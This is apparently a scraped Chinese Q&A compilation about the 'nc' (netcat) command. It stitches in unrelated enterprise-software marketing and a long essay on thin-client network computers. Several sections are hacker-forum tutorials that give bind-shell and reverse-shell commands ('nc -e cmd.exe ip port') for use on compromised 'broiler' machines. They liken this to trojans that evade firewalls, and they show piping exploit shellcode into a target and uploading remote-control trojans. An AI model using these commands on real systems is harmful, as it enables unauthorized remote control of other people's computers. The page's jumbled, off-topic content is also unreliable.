Ⅰ 为什么用nc命令随便检查个ip地址端口号都成功
可以使用nc命令测试。
例如测试一下 某个个IP 的80 端口有没有开启可以使用命令:nc -z -w 1 “IP地址” 80
可以看到默认是使用TCP进行测试的,如果要测试UDP端口有没有开放的可以添加-u 一起使用。例如我测试一下202.96.128.86 这个IP的UDP 53端口:nc -u -z -w 1 “ip地址”
上面可以看到成功的会显示相关的信息,但是如果测试到端口是不开放的或者被防火墙拦截的就不会返回相关的信息。
Ⅱ 什么是Linux系统中nc命令
Linux中nc命令是一个功能强大的网络工具,全称是netcat。
测试使用
在一个终端上
输入
nc
-lk
9999
输入数据。。。
新开启一个终端
输入
nc
ip:9999
就可以看到上一个终端输入的数据
Ⅲ 怎么打开别人的4899.3389端口。NC命令怎么用
3389只有admin权限才可以开启 或者你使用te连接后 用bat脚本开启 不过就麻烦了 直接传个远程控制 比如鸽子上去用te
Ⅳ 'nc' 不是内部或外部命令,也不是可运行的程序
用命令提示符中,用这条命令“set path=“nc的目录地址”;path”,那个溢出工具也一样这么弄,最好做成一个批处理,因为命令提示符关掉后又会恢复环境变量。
综合利用最新的互联网技术、云计算技术、移动应用技术等,通过构建大企业私有云来全面满足集团企业管理、全产业链管控和电子商务运营。
为集团企业提供了一个全新的支持合规化应用需求和创新需求,以及个性化配置、集成、实施、运维、管理一体化的大型企业管理与电子商务平台,不断帮助集团企业创新管理模式,引领商业变革,实现长期发展目标。
(4)nc命令用处扩展阅读:
客户价值:
(1)多级集团管控与多元化产业运营:面对多级集团管控与多元化产业运营的集团企业,构建一个支持大型集团企业多级集团管控体系和矩阵式多级组织管控体系的一体化信息管控平台。
(2)多组织协同与矩阵化管理:支持集团企业专业化分工、多组织协同的运作,管控对象从“法人架构”到“业务单元组织架构”的进化,体现从以后台管理为核心到支持前端商业创新的完整业务解决方案的转变。
(3)全球化布局:实现灵活高效的全球部署和适配企业跨国业务,支持多地域、多币种、多语言、多会计准则,以及多时区、多税制、多劳务制度的要求。结合完善的IT架构设计,延伸企业管控触角、协同高效管理全球化企业运营。
(4)全产业链协同与管控:以供应链系统为支撑,创新电子商务等通路模式,实现线上与线下交易的创新营销模式,从而整合企业上、下游资源,掌控并协同管理全产业链,提升效率,共享数据与服务。
Ⅳ nc的使用问题
出错
Ⅵ NC怎么用啊
NC使用教程
使用动画可以提供给核心成员,菜鸟们也可向我索取
在黑客界混如果不知道什么叫NC的话,那可真是白混了
今天教大家如何来使用NC
讲四个命令
命令1:监听命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息
提示:一般大家都爱用-vv
nc -l -p 80
这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!
nc -l -p 80 > e:\log.dat
呵呵,功能和上边一样,但是后边加了个“> e:\log.dat”我想,学过ECHO
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件
nc -l -v -p 80
和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC
的屏幕上。
呵呵,讲了这么多,来实践下
nc -l -v -p 80
然后在浏览器中输入本机IP:127.0.0.1
呵呵,看到什么?
同样,上边两个也是一样,大家自己试验一下吧
命令2:程序定向
nc -l -p port -t -e cmd.exe
本地机: nc -l -p port 或 nc -l -v -p port
目标机:nc -e cmd.exe ip port
参数解释:
-l、-p两个参数已经解释过了
-e;作用就是程序定向
-t:以telnet的形式来应答
例子
nc -l -p 5277 -t -e cmd.exe
知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。
说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。(话外音:说这么多遍当我们白痴啊,快往下讲!!!)
呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
HOHO~~如何?
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
咳!!听我给你讲啊!!(先交100000000RMB学费)哇,别杀我啊!!)
nc -l -p 5277 (坚听本地5277端口)
同样也可以用
nc -l -v -p 5277
运行在本地
然后在远程机器上,想办法运行
nc -e cmd.exe ip 5277
(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!
呵呵,看看在本地机器上出现了什么?
这样就是反弹~~在本地机器上得到了一个SHELL
命令3:扫描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
参数解释:
-z:将输入输出关掉,在扫描时使用
nc -v ip port
这个命令是针对某一个端口进行扫描
例如:
nc -v ip 135
扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息
例如:80端口
我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息
nc -v -z ip port-port
这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围
例如:
nc -v -z ip 1-200
可以看到我机器上的1-200的TCP端口的开放情况
nc -v -z -u ip port-port
这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的
例如:
nc -v -z -u ip 1-200
这个命令就会扫1-200的UDP端口
命令4:传送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe
参数解释:
-n:指定数字的IP地址
这两个命令结合起来是用来传送文件的
首先,在远程机上运行命令:
nc -v -l -p 5277 > c:\pulist.exe
这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口
并把接受到的信息数据写到c:\pulist.exe中
这时候在本地机上运行
nc -v -n ip 5277 < e:\hack\pulist.exe
这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上
这样远程主机就会自动创建一个pulist.exe文件。。呵呵,你想到了吗??
上边是NC的比较常用的方法,希望通过这些,大家能发挥自己的想象力,创造出更多更精彩的命令来,
因为NC的用法不仅仅局限于这几种而已哦!!对NC来说,只有想不到,没有做不到的!!!
Ⅶ NC是什么意思
NC的含义有很多,需要具体情况具体分析,不能一概而论。
Ⅷ nc使用方法
nc.exe -h即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
基本用法:
大概有以下几种用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,
真是有异曲同工之妙:P)
附:c:exploit.txt为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’
改为‘>>’即可以追加日志
附:c:log.txt为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其
管道中
Ⅸ 什么是NCNC与PC的区别及它们各自的优缺点
网络计算机网络计算机(Network computer缩写NC)PC是近几十年来对人类社会影响最大的一项发明,PC使计算机能方便地为个人所用,极大地扩展了计算机的应用。但PC并不是万能的,也不总是最佳的个人计算工具。例如,在移动通信环境下,人们需要有更小巧、更省电、和通信更好融合的“智能手机”,在网络应用环境下,人们需要有更紧凑、更安全、更易管理的NC。 PC的优势是有强大的处理能力和自由度,但PC也有缺点,在网络环境下,PC非常容易感染病毒或被黑客入侵,从而危害整个网络的安全。而且,数据存储在PC本地的安全性远不如存储在服务器上。所以,当安全和管理成为信息系统的首要考虑时,NC比PC更加适合作为客户机。 作为网络系统中的“瘦客户机”,NC主要依靠高速网络工作,目前,百兆以至千兆网络已普及,支持NC的网络基础设施已不成问题。NC一般没有本地的外存储设备和多余的端口,运行的软件和数据也都集中在服务器上,这样的NC作为网络节点,病毒和黑客非常难入侵,数据的安全性大大提高。由于NC能由系统管理员集中管理,一个管理员能轻松地管理成百上千的NC。此外,NC更有成本低,无噪声,高可靠等好处。当然,NC的缺点是没有PC那样强大的处理能力和自由度,不能独立工作,所以他不能代替PC。恰切地说,NC和PC各有所长,他们应该互相补充,适应不同的需求。 [2]网络计算机是在一定应用领域中和网络环境下,应用程序运行和数据存储都在服务器上,本身没有硬盘、软驱、光驱,并具有PC功能的一种低成本、免升级、免维护、便操作、权管理、强安全、高可靠的终端客户机。它能满足管理者和大众对信息处理和信息访问的需求,是各行业信息化应用细分的必然产物。 广泛应用于政府电子政务、军队专网、银行、 企事业单位和大、中、小学校以及家庭、居住小区等。 网络计算机是一种专用于网络计算环境下的终端设备。与PC相比没有硬盘、软驱、光驱等存储设备.它通过网络获取资源,应用软件和数据也都存放在服务器上。因为有这些特性,NC在教学中有以下优势: 1、权管理:网络计算机终端上没有任何存储设备,所有程序的运行都是在服务器上,这样就可以很方便的了解学生的状态,避免了学生上网聊天、玩游戏等等一些问题。此外,所有用户端的权限也都由服务器端控制,运行应用程序的控制和用户登陆计算机系统的控制,都可以在服务器端设置完成。 2、易维护:通过网络获取资源,是网络计算环境下的终端设备,不会出现PC机系统崩溃等现象,而且安装操作系统时很方便:60台NC机只需在3台服务器上安装操作系统,非常快捷。在安装或删除教学所使用软件时也非常简单,只需在服务器端操作即可。此外NC机系统使用简单,硬件集成稳定,基本无本地故障。故障率极低,很适合学校的使用。 3、低费用:从软件成本计算,网络电脑只需在服务器上安装程序,省去了大量购买软件的费用。比如OFFICE2003,一套OFFICE2003的价格是3100元,按一个机房60台机子计算PC机房需要186000元,网络电脑防机房仅需9300元。同理,很多商业软件仅需几套既可满足使用,费用大大降低。从硬件成本计算,网络电脑的结构简单:没有软驱、光驱和硬盘,同配置价格相比NC为PC的1/3。此外,NC的功率只有15W,是PC机的1/20,这又为使用单位节省了大量的电费。 NC机没有硬盘、软驱和光驱,操作系统和应用软件安装在服务器上,只需对服务器进行维护,而NC不需要维护,从而大大节省了成本。 总之,NC的优势主要是降低总拥有成本:与低价PC相比,在相似的使用效果下,两台NC的成本才相当于一台低价PC(包括分摊到每台NC上的服务器成本在内)。也就是说,用同样的投资,采用NC比采用PC可以多购买一倍的电脑,这对于发展中国家,当然格外重要。此外,硬件还不是成本的全部,在一个单位里,为建立、运行、维护和更新其计算机系统所需的总成本称为总拥有成本,即TCO(Total Cost of Ownership),其构成的四个要素是: ① 资金成本和非人力资源成本(包括部件、电子设备、软件费用等等)。 ② 技术支持成本,包括进行设计、安装、维护、修理和升级等等在内的所有人工成本。 ③ 管理成本,包括采购管理、技术管理(管理网络、服务器和桌面设备等等)的成本。 ④ 使用者操作成本,即使用者为学习和维护其系统而花费的时间成本。 据Zona Research公司的测算,一个包含15台PC机的系统在五年期间的TCO为217,663美元,折合到每台PC机为每年2,902美元,其中硬件成本只是TCO的13%,如图1所示。而同样的系统如采用NC,由于NC在管理、升级、安装、维护等等方面的突出优点,折合到每台NC上的TCO每年仅为1,258美元,与采用PC相比还不到一半。如果按照其他机构(包括着名的Gartner Group)的估算,一台PC每年的TCO高达7000-15,000美元,那么采用NC的节省还要多得多。由此可见,无论是从硬件成本还是从总拥有成本分析,采用NC的经济效益都是十分明显的。 [3]4、强安全:网络电脑没有本地存储设备,不可能感染病毒。此外,在服务器上为每台机器分配资源,设定用户权限,每台机器独立一体,互不影响,可谓安全。还有在PC上因突然的软、硬件问题而造成工作资料丢失的现象,在使用网络电脑使用时不会发生。所有用户应用和存储的文件都在服务器上,用户正常或非正常退出不会丢失服务器上的数据。 5、便操作:网络计算机便操作易使用的特性表现在使用人员无须任何计算机应用知识即可熟练使用。使用者所需要做的事只有两件:1)打开电源;2)连接服务器。开关NC同家电一样简单。这对于没有一点计算机基础的学生来说无疑是非常是方便的。 6 、免升级:网络电脑采用了新的网络架构,相对于PC来说,终端客户机根本不需要升级。不管是硬件升级,还是软件升级,都只需要在服务器端完成,从而节省了大量人力物力。 7、低噪音:网络电脑无硬盘、光驱、软驱等机械运行部件,而且采用的嵌入式CPU发热量很小,不需要风扇散热,工作非常安静,无噪音。很适合学校的应用。[4] 用来在网络上使用的计算机,但去掉了传统的硬盘,软盘,光驱等部件,属于瘦形PC,由服务器提供网络上的程序或存储。网络计算机具有自己的处理能力,但除核心软件之外,其他软件都需从网络服务器下载,且由于所使用的全部数据都存储于服务器上,节省了频繁的软件升级和维护,也降低了成本NC(Network Computer )网络计算机也叫瘦客户机,是Oracle公司于1995年提出的,当时在计算机和通信界引起极大反响,同年便成立了“网络计算机联盟”。随后,IBM、Apple、 Netscape、 Oracle和Sun等五大厂商联合公布了NC的工业标准--《网络计算机参考简要特征》(简称NC-1规范),内容包括支持Java、HTML、FTP、TCP/IP以及CGI的规范。包括世界最大的消费类和商业电子设备生产商、通信厂商、软件开发商、无线系统生产商、微处理器生产商、外设制造商以及信用卡公司等70多家厂商立即表示支持制定这一技术规范。 NC模式是一种全新的C/S模式,在欧美很流行。NC模式称为终端服务(TERMINAL SERVICE)和基于WINDOWS的终端(WINDOWS-BASED TERMINAL,WBT)。NC除了没有硬盘、CD-ROM、软驱,其他与一台PC机没有什么差别,也拥有主板、内存、网卡、显卡、鼠标键盘接口、并口、串口、USB口。 NC采用的工作模式是C/S(CLIENT /SERVER)模式,由于没有硬盘所以终端所使用的全部数据是放在服务器上的,当NC登录到服务器以后,服务器会发送给终端一个早已设置好的用户界面以及适合该用户的一些应用程序,服务器接收由终端所发出的进行操作的鼠标键盘命令,然后将运算的结果图象发送回终端显示。采用NC进行工作,所有的升级工作和管理维护工作均集中在服务器端。 Linux与网络计算机NC在桌面计算机方面Linux的前景颇有争议。从世界范围来看,在这方面Linux的发展不快,现在不过只占桌面计算机的5%左右,有人因此怀疑它在这方面的前途。看来在发达国家,Linux在桌面计算机领域想和Windows抗衡是很难的,但是在中国,情况就不同了。因为在中国PC远没有普及,再加上Internet的推动,一种新的桌面计算机,即网络计算机或网络电脑(NC——Network Computer)正在兴起,这将是Linux在桌面计算机领域扩大份额的主要途径。 IT领域的产品含义往往会随着时间发生变化,1981年PC刚推出时,它只是IBM公司的个人计算机,但今天,PC可以覆盖一切采用Wintel结构的计算机,包括桌面计算机、便携式计算机、工作站和服务器等等。类似地,NC的含义也是随着时间变化的,在1995年Oracle的Ellison等人提出NC概念时,NC基本上与Java应用紧密地联系在一起。不过 Java的推广并不如预想的那样顺利,例如Corel公司曾计划把它的Office套装软件全部用Java改写,但很快就放弃了,同样,完全依赖于Java的NC也失败了。如果今天我们要对NC下一个新的定义,那么可以作这样的描述: NC是专用于宽带网络计算环境的瘦客户机,在这种环境中,应用程序和数据都存储在服务器上。NC本身除有人机交互必需的显示器和输入设备等,一般没有外部存储器(硬盘、光盘等)也很少有扩展口。NC支持多种工作模式、支持包括Windows、Unix、Linux等多种平台的应用软件。NC大多为非Wintel结构。 这个定义表明:NC一般带有10/100Mbit/S速率的Ethernet端口;“应用程序和数据都存储在服务器上”,这是包括微软的.Net策略在内的IT业界的发展趋势;NC的输入设备视实际需要,少的只有键盘、鼠标器,多的可有密码键盘、IC卡读卡机和其他的身分验证设备。应当指出,现在的NC可以支持多模式、跨平台,这是近来技术的新发展,它打破了NC当初只支持Java的局限性,并使NC能使用服务器上的Windows应用软件,有利于NC的推广。 由于NC本身体系结构不要求与Wintel兼容,从信息安全和性能价格比考虑,NC将“大多为非Wintel结构”。今后,当NC流行起来后,可能会有一些Wintel结构的PC被“减肥”成“瘦PC”(即拆除PC上的一些设备)与NC竞争,这时,NC相对于“瘦PC”的优势主要将是它的非Wintel结构。如果NC也是Wintel结构,那么它与“瘦PC”将没有多大差别,甚至可看作是PC的延伸。因此,NC之所以能成为一类新的桌面计算机,其重要理由正是在于:NC大多为非Wintel结构,而PC则是Wintel结构。虽然目前市场上的某些NC还达不到这里所描述的水平,但这样的NC已经是现在的技术所能做到的,因此很快地会出现在市场上。 人们会问,既然NC有那么多优点,那为什么NC没有流行呢?其实,我们已经提到,NC在前几年走了弯路;而且,高速网络环境的普及是近年来的事。NC自身的技术也在发展中,例如现在的NC能使用在服务器上运行的Windows程序,它是作为Windows的一个终端,这需要服务器有对“多用户”的支持,这是NT 4.0以上才有的功能。此外,NC最合理的工作模式是B/S(浏览器/服务器),这时它和PC没有什么差别,即在本地运行浏览器,在服务器上运行应用程序,但这种模式只是近年来才发展起来、并成为应用程序主流的。今后,随着网络计算环境的发展,NC的流行是迟早的事。 NC与PC的适用范围,可见这两类计算机是互相补充的,有的应用适宜用PC,有的应用适宜用NC,有的应用则二种计算机都可以使用。将来在一个单位里,这二种计算机可以混合使用。总之,在一个长时期里,这二种计算机会同时并存,它们在某些情况下又彼此竞争,这对于用户来说,不是一件坏事,恰恰相反,这给了用户更多的选择,也促使这二类计算机的性能价格比的不断改进。 在NC中采用Linux和在服务器等领域采用Linux带来的好处有相同的方面,但值得注意的是,在NC中采用Linux还带来某些特殊的好处,主要是,NC因此可以采用非Wintel的结构。换句话说,Linux 使非 Intel结构CPU得到了一个成熟的OS的支持,从而非 Wintel结构的计算机才能生存和发展。人们想必记得,90年代中,Motorola曾想用PowerPC芯片做成个人计算机机,虽然当时PowerPC芯片的性能超过了Intel的CPU,但由于微软的Windows 不支持PowerPC,这个计划就流产了。我国某地就有一个PowerPC个人计算机的生产线,刚建成还没有生产一台计算机就被废弃了。所以说,Intel结构CPU之所以能垄断PC领域,完全得益于微软OS的支持。反过来说,任何结构的CPU如果得不到微软OS的支持,也决不可能进入PC领域。 现在有了开放源码的Linux,它可以方便地移植到任何一种结构CPU上,使它立即得到Linux上大量应用软件的支持,这种新结构的CPU才有可能生存和发展。正因为如此,非Wintel的NC就可以发展起来。 对于中国而言,这意味着我们有可能去开发有自主知识产权的CPU,加上Linux的支持,就可以构成有自主核心技术的NC,当然,也可以构成其他各种的IA设备.所以Linux为我们发展自主知识产权的CPU创造了一个必要条件,推广Linux在这方面的意义,人们将会逐步认识。试想如果没有Linux,即使开发出了CPU,也将得不到成熟的OS的支持(微软当然不可能为此把Windows移植上来),这样的CPU只能是英雄无用武之地。 人们或许会问,为什么我们不能开发和Intel结构兼容的CPU呢?这样不就能运行Windows了吗?回答是否定的,主要理由是二条:一是技术难度,二是知识产权壁垒,都使此路不通。由此可见,Linux是我们发展自主知识产权CPU的前提,也是发展非Wintel结构NC的前提。 中国有巨大的市场,中国的PC远没有达到饱和,现在又进入了Internet时代,Linux的兴起将使中国的桌面计算机领域出现Wintel的PC和非Wintel的NC共存的局面。今后Internet愈发展,自主核心技术愈发展,NC的份额将愈大,中国的桌面计算机领域一定会出现和西方发达国家不同的格局。 NC的主要应用领域国务院信息化工作办公室、科技部、信息产业部在2003年初颁布的《电子政务工程技术指南》中规定:“在业务集中管理、安全性需求高的窗口服务型行业和内部办公系统,推荐使用网络计算机”。这里,强调了NC主要是应用在窗口服务型行业和内部办公系统。 内部办公系统虽然也能用PC,但PC的安全性较差,即使实行内网和外网“物理隔离”也不保险。目前,无线上网功能已成为笔记本计算机的常规功能,而无线接入点也比比皆是,无处不在的无线连接使“物理隔离”实际上非常难做到。除非是不用所有笔记本,并拆除计算机上的所有无线接入设备,或将整个工作场所全部屏蔽起来,否则的话,“物理隔离”就是一句空话。显然,如果采用了NC就能消除上述这些隐患。 窗口服务型行业是非常普遍的,如金融、保险、税务、运输、邮政、……都是。这些应用系统都通过业务“窗口”和顾客联系,作为这类应用系统前端的“窗口型业务”基本上是固定不变的(一种或几种业务),他所实现的主要功能是:和顾客进行交互,进行身分验证,制备票据等。通常,一个业务“窗口”需求有一定的本地处理和存储能力:能够输入数据和进行显示以实现交互作用;能和后端系统进行通信;能制备所需的票据:能联接作身分验证的设备(如密码键盘、读卡机、生物特征识别设备等)。目前,信息系统对于信息安全的要求愈来愈高,业务“窗口”的数量又非常大,直接面向广大客户,因此提高业务“窗口”的安全性、可管理性,已成为信息系统中的一个重大问题。历史上,业务“窗口”采用字符终端构成,他作为后台主机的分时终端使用,这种字符终端功能非常弱,也容易管理。后来,随着主机系统的衰退和PC机的兴起,PC机逐渐成了窗口型业务的主角。PC机有强大的功能,用他来应付窗口型业务当然绰绰有余,但PC机不安全、不易管理,在这类应用中,PC的富裕功能往往有害无益,因此窗口服务型行业选择NC是非常合理的。 广泛应用于政府、企事业单位、金融等行业的网络办公,农村信息化,酒店客房用机、学校电子教室和数字图书馆等领域。